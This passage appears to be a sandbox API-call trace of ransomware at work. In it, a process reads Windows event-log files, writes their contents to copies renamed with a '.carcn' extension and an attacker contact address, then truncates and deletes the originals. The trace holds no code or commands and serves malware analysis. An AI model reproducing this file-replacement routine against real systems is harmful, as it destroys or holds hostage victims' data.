[0179.763] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.763] lstrlenW (lpString=".xlsx") returned 5 [0179.764] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.764] lstrlenW (lpString=".ppt") returned 4 [0179.764] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.764] lstrlenW (lpString=".zip") returned 4 [0179.764] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.764] lstrlenW (lpString=".rar") returned 4 [0179.764] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.764] lstrlenW (lpString=".bz2") returned 4 [0179.764] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.764] lstrlenW (lpString=".7z") returned 3 [0179.764] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.764] lstrlenW (lpString=".dbf") returned 4 [0179.764] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.764] lstrlenW (lpString=".1cd") returned 4 [0179.764] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55 [0179.764] lstrlenW (lpString=".jpg") returned 4 [0179.764] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.765] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.765] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0179.765] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0179.772] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0179.772] CloseHandle (hObject=0x388) returned 1 [0179.772] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0179.772] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0179.773] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.773] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0179.812] GetLastError () returned 0x0 [0179.812] ReadFile (in: hFile=0x388, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.886] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.888] ReadFile (in: hFile=0x388, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.888] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x13a, lpOverlapped=0x0) returned 1 [0179.889] SetEndOfFile (hFile=0x35c) returned 1 [0179.890] CloseHandle (hObject=0x35c) returned 1 [0179.892] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.892] SetEndOfFile (hFile=0x388) returned 1 [0179.893] CloseHandle (hObject=0x388) returned 1 [0179.893] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.894] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0179.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.894] lstrlenW (lpString=".doc") returned 4 [0179.894] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.894] lstrlenW (lpString=".docx") returned 5 [0179.894] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.894] lstrlenW (lpString=".pdf") returned 4 [0179.894] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.894] lstrlenW (lpString=".xls") returned 4 [0179.894] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.894] lstrlenW (lpString=".xlsx") returned 5 [0179.895] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.895] lstrlenW (lpString=".ppt") returned 4 [0179.895] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.895] lstrlenW (lpString=".zip") returned 4 [0179.895] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString=".rar") returned 4 [0179.895] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString=".bz2") returned 4 [0179.895] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString=".7z") returned 3 [0179.895] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.895] lstrlenW (lpString=".dbf") returned 4 [0179.895] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.895] lstrlenW (lpString=".1cd") returned 4 [0179.895] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.895] lstrlenW (lpString=".jpg") returned 4 [0179.895] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.895] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.895] lstrlenW (lpString=".doc") returned 4 [0179.895] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString=".docx") returned 5 [0179.895] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.895] lstrlenW (lpString=".pdf") returned 4 [0179.895] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString=".xls") returned 4 [0179.895] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.895] lstrlenW (lpString=".xlsx") returned 5 [0179.895] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.896] lstrlenW (lpString=".ppt") returned 4 [0179.896] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.896] lstrlenW (lpString=".zip") returned 4 [0179.896] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.896] lstrlenW (lpString=".rar") returned 4 [0179.896] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.896] lstrlenW (lpString=".bz2") returned 4 [0179.896] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.896] lstrlenW (lpString=".7z") returned 3 [0179.896] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.896] lstrlenW (lpString=".dbf") returned 4 [0179.896] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.896] lstrlenW (lpString=".1cd") returned 4 [0179.896] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.896] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0179.896] lstrlenW (lpString=".jpg") returned 4 [0179.896] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.896] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.896] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0179.896] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0179.897] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0179.897] CloseHandle (hObject=0x388) returned 1 [0179.897] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0179.897] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0179.897] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.897] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.897] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0179.897] GetLastError () returned 0x0 [0179.897] ReadFile (in: hFile=0x388, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.003] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.005] ReadFile (in: hFile=0x388, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.005] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x13e, lpOverlapped=0x0) returned 1 [0180.005] SetEndOfFile (hFile=0x35c) returned 1 [0180.005] CloseHandle (hObject=0x35c) returned 1 [0180.007] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.007] SetEndOfFile (hFile=0x388) returned 1 [0180.008] CloseHandle (hObject=0x388) returned 1 [0180.008] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.009] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0180.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.009] lstrlenW (lpString=".doc") returned 4 [0180.009] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.009] lstrlenW (lpString=".docx") returned 5 [0180.009] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.009] lstrlenW (lpString=".pdf") returned 4 [0180.009] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.009] lstrlenW (lpString=".xls") returned 4 [0180.009] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.009] lstrlenW (lpString=".xlsx") returned 5 [0180.009] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.009] lstrlenW (lpString=".ppt") returned 4 [0180.009] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.009] lstrlenW (lpString=".zip") returned 4 [0180.009] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.009] lstrlenW (lpString=".rar") returned 4 [0180.009] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString=".bz2") returned 4 [0180.010] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString=".7z") returned 3 [0180.010] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.010] lstrlenW (lpString=".dbf") returned 4 [0180.010] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.010] lstrlenW (lpString=".1cd") returned 4 [0180.010] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.010] lstrlenW (lpString=".jpg") returned 4 [0180.010] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.010] lstrlenW (lpString=".doc") returned 4 [0180.010] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString=".docx") returned 5 [0180.010] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.010] lstrlenW (lpString=".pdf") returned 4 [0180.010] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString=".xls") returned 4 [0180.010] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString=".xlsx") returned 5 [0180.010] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.010] lstrlenW (lpString=".ppt") returned 4 [0180.010] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.010] lstrlenW (lpString=".zip") returned 4 [0180.010] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.010] lstrlenW (lpString=".rar") returned 4 [0180.011] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.011] lstrlenW (lpString=".bz2") returned 4 [0180.011] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.011] lstrlenW (lpString=".7z") returned 3 [0180.011] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.011] lstrlenW (lpString=".dbf") returned 4 [0180.011] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.011] lstrlenW (lpString=".1cd") returned 4 [0180.011] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0180.011] lstrlenW (lpString=".jpg") returned 4 [0180.011] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.011] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.011] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0180.011] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.025] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.025] CloseHandle (hObject=0x36c) returned 1 [0180.025] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0180.025] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.025] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.025] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.025] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.025] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.026] GetLastError () returned 0x0 [0180.027] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.030] WriteFile (in: hFile=0x380, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.031] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.031] WriteFile (in: hFile=0x380, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x128, lpOverlapped=0x0) returned 1 [0180.031] SetEndOfFile (hFile=0x380) returned 1 [0180.033] CloseHandle (hObject=0x380) returned 1 [0180.035] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.035] SetEndOfFile (hFile=0x36c) returned 1 [0180.036] CloseHandle (hObject=0x36c) returned 1 [0180.036] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.037] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0180.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.037] lstrlenW (lpString=".doc") returned 4 [0180.037] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString=".docx") returned 5 [0180.037] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.037] lstrlenW (lpString=".pdf") returned 4 [0180.037] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString=".xls") returned 4 [0180.037] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString=".xlsx") returned 5 [0180.037] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.037] lstrlenW (lpString=".ppt") returned 4 [0180.037] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.037] lstrlenW (lpString=".zip") returned 4 [0180.037] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString=".rar") returned 4 [0180.037] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString=".bz2") returned 4 [0180.037] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.037] lstrlenW (lpString=".7z") returned 3 [0180.037] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.038] lstrlenW (lpString=".dbf") returned 4 [0180.038] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.038] lstrlenW (lpString=".1cd") returned 4 [0180.038] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.038] lstrlenW (lpString=".jpg") returned 4 [0180.038] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.038] lstrlenW (lpString=".doc") returned 4 [0180.038] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString=".docx") returned 5 [0180.038] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.038] lstrlenW (lpString=".pdf") returned 4 [0180.038] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString=".xls") returned 4 [0180.038] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString=".xlsx") returned 5 [0180.038] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.038] lstrlenW (lpString=".ppt") returned 4 [0180.038] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.038] lstrlenW (lpString=".zip") returned 4 [0180.038] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString=".rar") returned 4 [0180.038] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString=".bz2") returned 4 [0180.038] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.038] lstrlenW (lpString=".7z") returned 3 [0180.039] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.039] lstrlenW (lpString=".dbf") returned 4 [0180.039] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0180.039] lstrlenW (lpString=".1cd") returned 4 [0180.039] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned 